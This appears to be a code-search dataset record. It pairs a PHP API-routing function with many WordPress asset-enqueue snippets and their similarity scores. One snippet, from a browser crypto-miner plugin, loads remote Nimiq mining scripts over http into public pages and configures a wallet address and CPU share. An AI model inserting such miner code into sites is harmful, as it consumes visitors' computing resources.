"function jitm_enqueue_files() {\n\t\t$min = ''; // ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';\n\t\twp_register_style(\n\t\t\t'jetpack-jitm-css',\n\t\t\tplugins_url( \"assets/jetpack-admin-jitm{$min}.css\", __DIR__ ),\n\t\t\tfalse,\n\t\t\tself::PACKAGE_VERSION .\n\t\t\t'-201243242'\n\t\t);\n\t\twp_style_add_data( 'jetpack-jitm-css', 'rtl', 'replace' );\n\t\twp_style_add_data( 'jetpack-jitm-css', 'suffix', $min );\n\t\twp_enqueue_style( 'jetpack-jitm-css' );\n\n\t\twp_enqueue_script(\n\t\t\t'jetpack-jitm-new',\n\t\t\tAssets::get_file_url_for_environment( '_inc/build/jetpack-jitm.min.js', '_inc/jetpack-jitm.js' ),\n\t\t\tarray( 'jquery' ),\n\t\t\tself::PACKAGE_VERSION, // TODO: Keep in sync with version specified in composer.json\n\t\t\ttrue\n\t\t);\n\t\twp_localize_script(\n\t\t\t'jetpack-jitm-new',\n\t\t\t'jitm_config',\n\t\t\tarray(\n\t\t\t\t'api_root' => esc_url_raw( rest_url() ),\n\t\t\t\t'activate_module_text' => esc_html__( 'Activate', 'jetpack' ),\n\t\t\t\t'activated_module_text' => esc_html__( 'Activated', 'jetpack' ),\n\t\t\t\t'activating_module_text' => esc_html__( 'Activating', 'jetpack' ),\n\t\t\t)\n\t\t);\n\t}",
"public function registerScripts() {\n $this->scripts['bootstrap.min'] = 'assets/js/bootstrap.min.js';\n $this->scripts['jquery.nouislider.min'] = 'assets/js/mkdf-ui/jquery.nouislider.min.js';\n $this->scripts['mkdf-ui-admin'] = 'assets/js/mkdf-ui/mkdf-ui.js';\n $this->scripts['mkdf-bootstrap-select'] = 'assets/js/mkdf-ui/mkdf-bootstrap-select.min.js';\n\n foreach ($this->scripts as $scriptHandle => $scriptPath) {\n sienna_mikado_register_skin_script($scriptHandle, $scriptPath);\n }\n }",
"public function registerScriptsCommon() {\n $v = Wpjb_Project::VERSION;\n $p = plugins_url().'/wpjobboard/public/js/';\n $x = plugins_url().'/wpjobboard/application/vendor/';\n \n wp_register_script(\"wpjb-suggest\", $p.\"wpjb-suggest.js\", array(\"jquery\"), $v, true );\n \n wp_register_script(\"wpjb-vendor-selectlist\", $x.\"select-list/jquery.selectlist.pack.js\", array(\"jquery\"), null, true);\n wp_register_script(\"wpjb-plupload\", $p.\"wpjb-plupload.js\", array(\"plupload-all\"), $v, true);\n wp_register_script(\"wpjb-vendor-datepicker\", $x.\"date-picker/js/datepicker.js\", array(\"jquery\"));\n \n wp_register_script(\"wpjb-gmaps-infobox\", $p.\"gcode-infobox.js\", array());\n wp_register_script(\"wpjb-gmaps-markerclusterer\", $p.\"gcode-markerclusterer.js\", array());\n \n wp_register_script(\"wpjb-ace\", $x.\"ace/ace.js\", array(), \"1.2.6\");\n \n wp_register_script(\"wpjb-vendor-stripe\", \"https://js.stripe.com/v3/\");\n wp_register_script(\"wpjb-stripe\", $p.\"wpjb-stripe.js\", array(\"jquery\", \"wpjb-stripe-main\", \"wpjb-payment\"), $v);\n //wp_register_script(\"wpjb-stripe-elements\", $p.\"wpjb-stripe-elements.js\", array(\"jquery\", \"wpjb-stripe\", \"wpjb-stripe-main\"), $v);\n wp_register_script(\"wpjb-stripe-main\", \"https://js.stripe.com/v3/\", array(), $v);\n \n wp_register_script('wpjb-myresume', $p.'frontend-myresume.js', array(\"jquery\", \"wp-util\"), $v );\n \n wp_register_script('wpjb-admin-customize', $p.'admin-customize.js', array(\"jquery\"), $v, true );\n }",
"public function enqueue_files ()\n\t{\n\t\t// Flowdrive\n\t\twp_register_style( 'flowdrive_admin_css', plugin_dir_url( __DIR__ ) . 'assets/css/flowdrive-admin.css', false, $this->version );\n\t\twp_enqueue_style( 'flowdrive_admin_css' );\n\t\t\n\t\t// wp_enqueue_script( $this, plugin_dir_url( __FILE__ ) . 'js/cloudoki-smmp-admin.js', array( 'jquery' ), $this->version, false );\n\t\t\n\t\t// Chosen\n\t\twp_register_style( 'chosen_admin_css', plugin_dir_url( __DIR__ ) . '../vendor/drmonty/chosen/css/chosen.min.css', false, $this->version );\n\t\twp_enqueue_style( 'chosen_admin_css' );\n\t\t\n\t\twp_register_script( 'chosen_admin_js', plugin_dir_url( __DIR__ ) . '../vendor/drmonty/chosen/js/chosen.jquery.min.js', ['jquery'], $this->version );\n\t\twp_enqueue_script( 'chosen_admin_js' );\n\t\t\n\t\t// wp_enqueue_script( $this, plugin_dir_url( __DIR__ ) . '../vendor/drmonty/chosen/js/chosen.jquery.min.js', array( 'jquery' ), $this->version, false );\n\t}",
"public function enqueue_scripts() {\n\n\t\t// Setup scripts array\n\t\t$scripts = array();\n\n\t\t// Always pull in jQuery for TinyMCE shortcode usage\n\t\tif ( bbp_use_wp_editor() ) {\n\t\t\t$scripts['bbpress-editor'] = array(\n\t\t\t\t'file' => 'js/editor.js',\n\t\t\t\t'dependencies' => array( 'jquery' )\n\t\t\t);\n\t\t}\n\n\t\t// Forum-specific scripts\n\t\tif ( bbp_is_single_forum() ) {\n\t\t\t$scripts['bbpress-forum'] = array(\n\t\t\t\t'file' => 'js/forum.js',\n\t\t\t\t'dependencies' => array( 'jquery' )\n\t\t\t);\n\t\t}\n\n\t\t// Topic-specific scripts\n\t\tif ( bbp_is_single_topic() ) {\n\n\t\t\t// Topic favorite/unsubscribe\n\t\t\t$scripts['bbpress-topic'] = array(\n\t\t\t\t'file' => 'js/topic.js',\n\t\t\t\t'dependencies' => array( 'jquery' )\n\t\t\t);\n\n\t\t\t// Hierarchical replies\n\t\t\tif ( bbp_thread_replies() ) {\n\t\t\t\t$scripts['bbpress-reply'] = array(\n\t\t\t\t\t'file' => 'js/reply.js',\n\t\t\t\t\t'dependencies' => array( 'jquery' )\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\t// User Profile edit\n\t\tif ( bbp_is_single_user_edit() ) {\n\t\t\t$scripts['bbpress-user'] = array(\n\t\t\t\t'file' => 'js/user.js',\n\t\t\t\t'dependencies' => array( 'user-query' )\n\t\t\t);\n\t\t}\n\n\t\t// Filter the scripts\n\t\t$scripts = apply_filters( 'BBP_IOA_scripts', $scripts );\n\n\t\t// Enqueue the scripts\n\t\tforeach ( $scripts as $handle => $attributes ) {\n\t\t\tbbp_enqueue_script( $handle, $attributes['file'], $attributes['dependencies'], $this->version, 'screen' );\n\t\t}\n\t}",
"protected function defineAssetPublishing()\n {\n if (!$this->app['config']->get('laratrust.panel.register')) {\n return;\n }\n\n $this->publishes([\n __DIR__.'/../public' => public_path('vendor/laratrust'),\n ], 'laratrust-assets');\n }",
"function register_scripts() {\n\t\t\t$id = get_the_ID();\n\t\t\t// Only continue if current page is home\n\t\t\tif ( !is_home() ) return;\n\n\t\t\twp_enqueue_script( 'jquery' );\n\t\t\twp_enqueue_script( 'kevinw-sf-react', plugins_url( 'assets/react.min.js', KEVINW_SF_FILE ), array(), false, true );\n\t\t\twp_enqueue_script( 'kevinw-sf-react-app', plugins_url( 'assets/scripts.min.js', KEVINW_SF_FILE ), array(), false, true );\n\t\t\n\t\t\t$this->register_scripts_css();\n\t\t}",
"function enqueue() {\n\n\t$js_path = trailingslashit( get_template_directory() ) . 'assets/js/main.min.js';\n\t$css_path = trailingslashit( get_template_directory() ) . 'assets/css/main.min.css';\n\t$req_path = trailingslashit( get_template_directory() ) . 'assets/js/vendor.min.js';\n\n\twp_enqueue_script(\n\n\t\t'req_js',\n\t\ttrailingslashit( get_stylesheet_directory_uri() ) . 'assets/js/vendor.min.js',\n\t\tfalse,\n\t\tfilemtime($req_path),\n\t\ttrue\n\n\t);\n\n\twp_enqueue_script(\n\n\t\t'main_js',\n\t\ttrailingslashit( get_stylesheet_directory_uri() ) . 'assets/js/main.min.js',\n\t\tfalse,\n\t\tfilemtime($js_path),\n\t\ttrue\n\n\t);\n\n\twp_enqueue_style(\n\n\t\t'main_css',\n\t\ttrailingslashit( get_stylesheet_directory_uri() ) . 'assets/css/main.min.css',\n\t\tfalse,\n\t\tfilemtime($css_path),\n\t\t'all'\n\n\t);\n\n}",
"public function enqueue_scripts () {\n wp_register_script( $this->_token . '-frontend', esc_url( $this->assets_url ) . 'js/script.js', array( 'jquery' ), $this->_version );\n // Localize the script with new data\n\n $url = admin_url('admin-ajax.php');\n wp_localize_script( $this->_token . '-frontend', 'ajax_url', $url );\n wp_enqueue_script( $this->_token . '-frontend' );\n }",
"public function addPluginFrontendScripts() {\n global $laterpay_version;\n\n wp_register_script(\n 'jquery',\n '//code.jquery.com/jquery-1.11.0.min.js'\n );\n wp_register_script(\n 'laterpay-yui',\n 'https://static.laterpay.net/yui/3.13.0/build/yui/yui.js',\n array(),\n $laterpay_version,\n false\n );\n wp_register_script(\n 'laterpay-config',\n 'https://static.laterpay.net/client/1.0.0/config.js',\n array('laterpay-yui'),\n $laterpay_version,\n false\n );\n wp_register_script(\n 'laterpay-peity',\n LATERPAY_ASSET_PATH . '/static/js/vendor/jquery.peity.min.js',\n array('jquery'),\n $laterpay_version,\n false\n );\n wp_register_script(\n 'laterpay-post-view',\n LATERPAY_ASSET_PATH . '/static/js/laterpay-post-view.js',\n array('jquery', 'laterpay-peity'),\n $laterpay_version,\n false\n );\n wp_enqueue_script('laterpay-yui');\n wp_enqueue_script('laterpay-config');\n wp_enqueue_script('laterpay-peity');\n wp_enqueue_script('laterpay-post-view');\n }",
"public function enqueue_scripts()\n\t{\n\t\twp_enqueue_script( 'orghub-upload-extended-data', ORGANIZATION_HUB_PLUGIN_URL.'/admin-pages/scripts/upload-extended-data.js' );\t\t\n\t}",
"public function enqueue_script() {\n\t\t$suffix = SCRIPT_DEBUG ? '' : '.min';\n\n\t\twp_enqueue_script(\n\t\t\t'gallery-types',\n\t\t\tplugins_url( \"assets/js/gallery-types-setting$suffix.js\", PLUGIN_FILE ),\n\t\t\t[ 'media-views' ],\n\t\t\t'20170217'\n\t\t);\n\t}",
"public function enqueue()\n {\n foreach ($this->assets as $name => $asset) {\n if (preg_match('/\\.js$/', $asset)) {\n wp_enqueue_script($name, $this->assetsUrl . $asset, [], false, true);\n }\n if (preg_match('/\\.css$/', $asset)) {\n wp_enqueue_style($name, $this->assetsUrl . $asset);\n }\n }\n }",
"public function enqueue_scripts()\n {\n }",
"function mp_enqueue_scripts(){\n\n // Action pour shunter mp_register_style\n do_action('enqueue_scripts');\n\n // On charge les registers\n $enqueue_registers = mp_cache_data('mp_register_script');\n\n if( !empty($enqueue_registers) ){\n\n // On charge les registers\n foreach ($enqueue_registers as $handle => $args)\n mp_enqueue_script($handle);\n }\n\n}",
"public function registerScripts() {\n $this->registerScriptsCommon();\n \n if(is_admin()) {\n $this->registerScriptsAdmin();\n } else {\n $this->registerScriptsFrontend();\n }\n }",
"public function register_plugin_scripts() {\n\t\t//in case I need jQuery\n\t\t//wp_enqueue_script( 'jQuery', '//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js', array(), '1.10.2', true );\n\t\t\n\t\t//jQuery UI for Calendar \n\t\twp_enqueue_script( 'jQueryui', '//ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js', array(), '1.10.3', true );\n\t\n\t\t// Main Team Manager JS\n\t\t// Old\n\t\t//wp_enqueue_script( 'HockeyMan', plugins_url( '/js/HockeyMan.js' , __FILE__ ), array(), '1.0.0', true );\n\t\t// New Hotness\n\t\twp_enqueue_script( 'bootstrap-combobox', plugins_url( '/js/bootstrap-combobox.js' , __FILE__ ), array(), '1.0.0', true );\n\t\twp_enqueue_script( 'TeamManager', plugins_url( '/js/TeamManager.js' , __FILE__ ), array(), '1.0.0', true );\n\t\twp_localize_script( 'TeamManager', 'myAjax', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ))); \n\t}",
"function script_enqueuer() {\n wp_register_script( \"generator\", WP_PLUGIN_URL.'/ninja_name_generator/generator.js', array('jquery') );\n wp_localize_script( 'generator', 'name_generator', array( \n \t\t'restURL' => rest_url(),\n \t\t'restNonce' => wp_create_nonce(\"wp_rest\")\n \t));\n\n wp_enqueue_script( 'jquery' );\n wp_enqueue_script( 'generator' );\n\n}",
"function plugin_post_new_scripts() {\r\n\t// Register & enqueue our admin.js file along with its dependancies\r\n\t\t\twp_register_script('framework', $this->plugin_url .'framework.js', array('jquery','media-upload','thickbox','editor'));\r\n\t\t\twp_enqueue_script('framework');\r\n\t\t\twp_enqueue_script('farbtastic'); \r\n\t\t\twp_enqueue_script('suggest'); // Allow Jquery Chosen\r\n\t\t\t\r\n\t\t}",
"static function include_scripts(){\n\t\t//self::include_css();\n\t\tself::include_js();\n\t}",
"public function addAdminAssets() {\n\t\twp_enqueue_script( 'csframework-admin-upload' );\n\t}",
"protected function registerScripts() {\n\t\tforeach (static::$scripts as $handle => $scriptPath) {\n\t\t\tstatic::registerScript($handle, $scriptPath);\n\t\t}\n\t}",
"public function enqueue_front_end_scripts() {}",
"public function register_assets() {\n $js_folder = SD_PLUGIN_PATH . '/src/assets/js/';\n $css_folder = SD_PLUGIN_PATH . '/src/assets/css/';\n $scripts = scandir($js_folder);\n //var_dump($scripts);\n $styles = scandir($css_folder);\n foreach ($styles as $style) {\n if( !is_dir($style) ) {\n wp_enqueue_style( URL_SCOPE . mt_rand(0, 9000), '/wp-content/plugins/'.sanitize_key(PLUGIN_NAME).'/src/assets/css/' . $style);\n }\n }\n foreach ($scripts as $script) {\n if( !is_dir($script) ) {\n wp_enqueue_script( URL_SCOPE . mt_rand(0, 9000), '/wp-content/plugins/'.sanitize_key(PLUGIN_NAME).'/src/assets/js/' . $script);\n }\n }\n }",
"public function scripts(){\n //Enqueue scripts\n /**\n * wp_enqueue_script('sample-script',$this->directory_uri . '/sample.min.js',array('jquery'),false,false);\n * ...\n * ....\n */\n }",
"public function onEnqueueScripts()\n {\n $this->enqueue('front');\n }",
"static function enqueue_scripts() {\n\t\tif ( ! static::matches_custom_format( get_post_format() ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t//scripts\n\t\twp_register_script( 'custom-event-preview-script', get_stylesheet_directory_uri() . '/assets/js/cpf-event-preview.min.js', array( 'jquery' ), CURRENT_THEME_VERSION, true );\n\t\twp_enqueue_script( 'custom-event-preview-script' );\n\t\twp_localize_script( 'custom-event-preview-script', 'evtPreviewData', self::event_preview_data() );\n\t}",
"public function enqueue_public_scripts_and_styles(){\n\t\twp_enqueue_style('wp_location_public_styles', plugin_dir_url(__FILE__). '/css/wp_location_public_styles.css');\n\t\t\n\t}",
"protected function loadJavascript() {}",
"public function enqueue_js(){\n\n // Enqueue scripts.\n wp_enqueue_script( 'agreable_poll_script', Helper::assetUrl('client.js'), array(), '1.0.0', true );\n\n $this->render_js_vars();\n\n }",
"public function js()\n {\n $dir = new \\Ninja\\Directory(NINJA_DOCROOT . 'public/');\n /**\n * @var $files \\Ninja\\File[]\n */\n $files = $dir->scanRecursive(\"*.js\");\n\n echo \"\\nMinifying Javascript Files...\\n\";\n foreach($files as $sourceFile)\n {\n // Skip all foo.#.js (e.g foo.52.js) which are files from a previous build\n if (is_numeric(substr($sourceFile->getName(true), strrpos($sourceFile->getName(true), '.') + 1)))\n continue;\n\n /**\n * @var $destFile \\Ninja\\File\n */\n $destFile = $sourceFile->getParent()->ensureFile($sourceFile->getName(true) . '.' . self::REVISION . '.' . $sourceFile->getExtension());\n\n $destFile->write(\\Minify_Js::minify($sourceFile->read()));\n echo ' ' . $sourceFile->getPath() . \"\\n\";\n\n unset($sourceFile);\n }\n }",
"public function embed_scripts()\n {\n }",
"public function register() {\n\t\t$this->container['assets'] = $assets = plugins_url( '/assets', $this->container['root-file'] );\n\t\t$this->container['node-modules'] = $nodeModules = plugins_url( '/node_modules', $this->container['root-file'] );\n\n\t\tadd_action( 'wp_enqueue_scripts', array( $this, 'registerScripts' ) );\n\t}",
"function addJs($file){\n wp_enqueue_script(\n 'mvc-ajax',\n MVC_ASSETS_URL.'js/mvc-ajax.js',\n array('jquery')\n );\n \n //Add any data needed in a global js object to this array\n $data = array ( 'URL' => esc_url( wp_nonce_url ( admin_url('admin-ajax.php?action=mvc_ajax' ), 'mvc-ajax' )) );\n \n wp_localize_script ( 'mvc-ajax' , 'MVCAjaxData' , $data ) ;\n \n }",
"public function enqueue_scripts() {\n\t\t$this->styles();\n\t\t$this->scripts();\n\t}",
"public static function enqueue_scripts() {\n\t\tif ( ! static::$enqueued && wp_script_is( 'cmb2-scripts', 'enqueued' ) ) {\n\t\t\twp_enqueue_script( 'wplibs-form' );\n\t\t\tstatic::$enqueued = true;\n\t\t}\n\t}",
"public function enqueue_scripts()\n\t{\n\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in Prosvit_Extension_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The Prosvit_Extension_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\t\twp_enqueue_script('script_select2', plugin_dir_url(__FILE__) . 'js/select2.min.js', array('jquery'), $this->version, false);\n\t\twp_enqueue_script($this->plugin_name, plugin_dir_url(__FILE__) . 'js/prosvit-extension-admin.js', array('jquery'), $this->version, false);\n\t}",
"public function enqueue_scripts() {\n wp_enqueue_script(\n $this->plugin_name,\n plugin_dir_url( __FILE__ ) . 'js/update-monitor-public.js',\n array('jquery'),\n $this->version,\n false\n );\n }",
"public function register_enqueuing() {\n\t\tadd_action( 'admin_print_scripts-nav-menus.php', array( &$this, 'enqueue_scripts' ) );\n\t}",
"public function enqueue_scripts() {\n\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in Nimiq_Miner_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The Nimiq_Miner_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\n\t\twp_enqueue_script( 'nimiq-core', 'http://cdn.nimiq.com/core/nimiq.js');\n\t\twp_enqueue_script( 'nimiq-web', 'http://cdn.nimiq.com/core/web.js');\n\t\twp_enqueue_script( 'nimiq-wasm', 'http://cdn.nimiq.com/core/worker-wasm.js');\n\n\t\twp_register_script( 'nimiq-miner', plugin_dir_url( __FILE__ ) . 'js/nimiq-miner-public.js', array( 'jquery' ), 4, false );\n\n\t\t$localize = array(\n\t\t 'nim_address' => get_option('nim_address'),\n\t\t 'nim_thread_percent' => get_option('nim_thread_percent'),\n\t\t 'nim_disclaimer_bg' => get_option('nim_disclaimer_bg'),\n\t\t 'nim_disclaimer_text_color' => get_option('nim_disclaimer_text_color'),\n\t\t 'nim_disclaimer_text' => get_option('nim_disclaimer_text')\n\t\t);\n\n\t\twp_localize_script( 'nimiq-miner', 'php_vars', $localize );\n\n\t\twp_enqueue_script( 'nimiq-miner' );\n\n\t}",
"public function enqueue_scripts() {\n\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in Fastnetmarketing_Admin_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The Fastnetmarketing_Admin_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\n\t\twp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/fastnetmarketing-admin-admin.js', array( 'jquery' ), $this->version, false );\n\n\t}",
"public function publishFiles()\n {\n $this->publishes(\n [ __DIR__ . '/../resources/views' => base_path('themes/avored/default/views/vendor')],\n 'avored-module-views'\n );\n $this->publishes(\n [ __DIR__ . '/../dist/js/front' => base_path('public/js')],\n 'avored-front-js'\n );\n $this->publishes(\n [ __DIR__ . '/../dist/js/admin' => base_path('public/avored-admin/js')],\n 'avored-admin-js'\n );\n\n $this->publishes([\n __DIR__ . '/../database/migrations' => database_path('avored-migrations'),\n ]);\n }",
"function gutenberg_register_vendor_scripts() {\n\t$suffix = SCRIPT_DEBUG ? '' : '.min';\n\n\t// Vendor Scripts.\n\t$react_suffix = ( SCRIPT_DEBUG ? '.development' : '.production' ) . $suffix;\n\n\tgutenberg_register_vendor_script(\n\t\t'react',\n\t\t'https://unpkg.com/[email protected]/umd/react' . $react_suffix . '.js'\n\t);\n\tgutenberg_register_vendor_script(\n\t\t'react-dom',\n\t\t'https://unpkg.com/[email protected]/umd/react-dom' . $react_suffix . '.js',\n\t\tarray( 'react' )\n\t);\n\t$moment_script = SCRIPT_DEBUG ? 'moment.js' : 'min/moment.min.js';\n\tgutenberg_register_vendor_script(\n\t\t'moment',\n\t\t'https://unpkg.com/[email protected]/' . $moment_script,\n\t\tarray()\n\t);\n\t$tinymce_version = '4.7.11';\n\tgutenberg_register_vendor_script(\n\t\t'tinymce-latest-lists',\n\t\t'https://unpkg.com/tinymce@' . $tinymce_version . '/plugins/lists/plugin' . $suffix . '.js',\n\t\tarray( 'wp-tinymce' )\n\t);\n\tgutenberg_register_vendor_script(\n\t\t'lodash',\n\t\t'https://unpkg.com/[email protected]/lodash' . $suffix . '.js'\n\t);\n\twp_add_inline_script( 'lodash', 'window.lodash = _.noConflict();' );\n\tgutenberg_register_vendor_script(\n\t\t'wp-polyfill-fetch',\n\t\t'https://unpkg.com/whatwg-fetch/fetch.js'\n\t);\n\tgutenberg_register_vendor_script(\n\t\t'wp-polyfill-promise',\n\t\t'https://unpkg.com/[email protected]/dist/promise' . $suffix . '.js'\n\t);\n\tgutenberg_register_vendor_script(\n\t\t'wp-polyfill-formdata',\n\t\t'https://unpkg.com/[email protected]/formdata.min.js'\n\t);\n\tgutenberg_register_vendor_script(\n\t\t'wp-polyfill-node-contains',\n\t\t'https://unpkg.com/[email protected]/polyfills/Node/prototype/contains/polyfill.js'\n\t);\n}",
"public function register_assets() {\n\n\t\tforeach ( $this->assets as $asset ) {\n\t\t\t$js_path = $this->plugin->dir() . '/js/dist/' . $asset . '.asset.php';\n\t\t\t$css_path = $this->plugin->dir() . '/css/' . $asset . '.css';\n\t\t\tif ( file_exists( $js_path ) ) {\n\t\t\t\t$assets_dep = require_once $js_path;\n\t\t\t\twp_register_script(\n\t\t\t\t\t'formation-' . $asset . '-js',\n\t\t\t\t\t$this->plugin->asset_url( 'js/dist/' . $asset . '.js' ),\n\t\t\t\t\t$assets_dep['dependencies'],\n\t\t\t\t\t$assets_dep['version'],\n\t\t\t\t\ttrue\n\t\t\t\t);\n\n\t\t\t\tif ( file_exists( $css_path ) ) {\n\t\t\t\t\twp_register_style(\n\t\t\t\t\t\t'formation-' . $asset . '-css',\n\t\t\t\t\t\t$this->plugin->asset_url( 'css/' . $asset . '.css' ),\n\t\t\t\t\t\tnull,\n\t\t\t\t\t\t$assets_dep['version']\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}",
"function mgr_add_scripts(){\n wp_enqueue_style('mgr-main-style',plugins_url().'/includes/my-github-repos/css/style.css');\n wp_enqueue_script('mgr-main-script',plugins_url().'/includes/my-github-repos/js/main.js');\n}",
"public function enqueue_scripts() {\n\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in SpaceAPI_WP_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The SpaceAPI_WP_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\n\t\twp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/spaceapi-wp-admin.js', array( 'jquery' ), $this->version, false );\n\n\t}",
"private function define_public_hooks() {\n\n\t\t$plugin_public = new Public_Hook( $this->get_plugin_name(), $this->get_version() );\n\n\t\t$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'enqueue_styles' );\n\t\t$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'enqueue_scripts' );\n\n\t}",
"public static function enqueues() {\n\t\twp_enqueue_script( 'wc-country-select' ) ;\n\t\twp_enqueue_script( 'wc-address-i18n' ) ;\n\t}"
]
| [
"0.71624696",
"0.70075935",
"0.67395735",
"0.67112964",
"0.6706785",
"0.66429394",
"0.6642477",
"0.65150094",
"0.65072393",
"0.6449779",
"0.6425222",
"0.64155495",
"0.64090705",
"0.6408612",
"0.6389258",
"0.6383784",
"0.63369095",
"0.6328407",
"0.63186413",
"0.628877",
"0.62848604",
"0.6284372",
"0.6248892",
"0.62384063",
"0.62062216",
"0.62023836",
"0.61996657",
"0.6194596",
"0.61858904",
"0.6178897",
"0.61661005",
"0.61487234",
"0.6146938",
"0.61467445",
"0.61446685",
"0.6140866",
"0.61394197",
"0.6136585",
"0.61356",
"0.61262816",
"0.61007994",
"0.6100518",
"0.6100154",
"0.6099433",
"0.6084542",
"0.6084006",
"0.60752904",
"0.60752904",
"0.6072238",
"0.6067978",
"0.6066592",
"0.60628515",
"0.6058317",
"0.6056624",
"0.6054113",
"0.6042976",
"0.604275",
"0.60405236",
"0.6029643",
"0.60280263",
"0.6025519",
"0.60206497",
"0.6019278",
"0.6016505",
"0.6014072",
"0.6013053",
"0.6010718",
"0.60096985",
"0.60093796",
"0.60040605",
"0.600373",
"0.599976",
"0.5996716",
"0.59959114",
"0.5992079",
"0.59915316",
"0.5989017",
"0.5983768",
"0.597476",
"0.59728354",
"0.59720427",
"0.5971545",
"0.596994",
"0.59688795",
"0.5967517",
"0.5962394",
"0.5962085",
"0.59616464",
"0.5960189",
"0.59599537",
"0.59591067",
"0.59572256",
"0.59528995",
"0.5950534",
"0.5947676",
"0.59436786",
"0.59422404",
"0.5941223",
"0.5938144",
"0.5933588",
"0.592662"
]
| 0.0 | -1 |
Cours: Web Technologies Project: MarmitUM Authors: Hassina BOUFATIS, Aicha DERBAL and Amir SHIRALI POUR | function checkAPICall()
{
$request = [];
$request['method'] = $_SERVER['REQUEST_METHOD'];
$request['url'] = rtrim($_SERVER['REQUEST_URI'], '/');
$trimmed_url = ltrim($_SERVER['REQUEST_URI'], '/');
$url_parts = explode('/', $trimmed_url);
$request['url_parts'] = $url_parts;
if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT'])) {
$request['body'] = json_decode(file_get_contents('php://input'), true);
}
if ($url_parts[0] === 'api') {
array_shift($url_parts);
if (count($url_parts) >= 1) {
$api_function_name = array_shift($url_parts);
$params = $url_parts;
$request['params'] = $params;
array_unshift($params, $request);
$request_uri = $request['method'] . ' /' . $api_function_name;
if (array_key_exists($request_uri, API_FN)) {
call_user_func_array(API_FN[$request_uri], $params);
} else {
http_response_code(405);
echo json_encode(["message" => "Method Not Allowed"]);
}
} else {
http_response_code(405);
echo json_encode(["message" => "Method Not Allowed"]);
}
die();
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function GetAuthor()\n {\n return 'calguy1000';\n }",
"function get_the_author_aim()\n {\n }",
"public function getAuthorname() {}",
"function GetAuthor()\n {\n return 'texus';\n }",
"function the_author_aim()\n {\n }",
"public function author();",
"function the_author_yim()\n {\n }",
"abstract public function getAuthor();",
"function get_the_author_yim()\n {\n }",
"public function get_author()\n {\n return 'Kamen Blaginov';\n }",
"public function get_author()\n {\n return 'Kamen Blaginov';\n }",
"function header_meta() {\n\t/**\n\t * Filter the path used for the site's humans.txt attribution file\n\t *\n\t * @param string $humanstxt\n\t */\n\t$humanstxt = apply_filters( 'project_humans', Project_TEMPLATE_URL . '/humans.txt' );\n\n\techo '<link type=\"text/plain\" rel=\"author\" href=\"' . esc_url( $humanstxt ) . '\" />';\n}",
"function the_author_msn()\n {\n }",
"public function getAuthor() {}",
"function myCreator(){\n return \"Adokiye is my creator he is currently in stage 4 of the HNG internship, he will soon advance to stage 5\";\n}",
"public function get_author()\n {\n return 'Chris Graham';\n }",
"public function get_author()\n {\n return 'Chris Graham';\n }",
"public function get_author()\n {\n return 'Chris Graham';\n }",
"public function get_author()\n {\n return 'Chris Graham';\n }",
"public function get_author()\n {\n return 'Chris Graham';\n }",
"public function get_author()\n {\n return 'Chris Graham';\n }",
"function the_author_description()\n {\n }",
"function rdf_author_contents( $my_post, $indent ) {\n $tag = \"role:AUT\";\n rdf_open_tag( $tag, $indent );\n $arr = preg_split( \"/,/\", $my_post->post_title );\n $fullname_arr = preg_split( \"/ /\", $arr[ 0 ] );\n $lastname = $fullname_arr[ count( $fullname_arr ) - 1 ];\n $restofname = join( \" \", array_slice( $fullname_arr, 0, -1, true ) );\n $author = $lastname . \", \" . $restofname;\n echo $author;\n rdf_close_tag( $tag, 0 );\n}",
"public function authorsInitials();",
"public function get_authors();",
"public function getAuthor();",
"public function getAuthor();",
"public function getAuthor();",
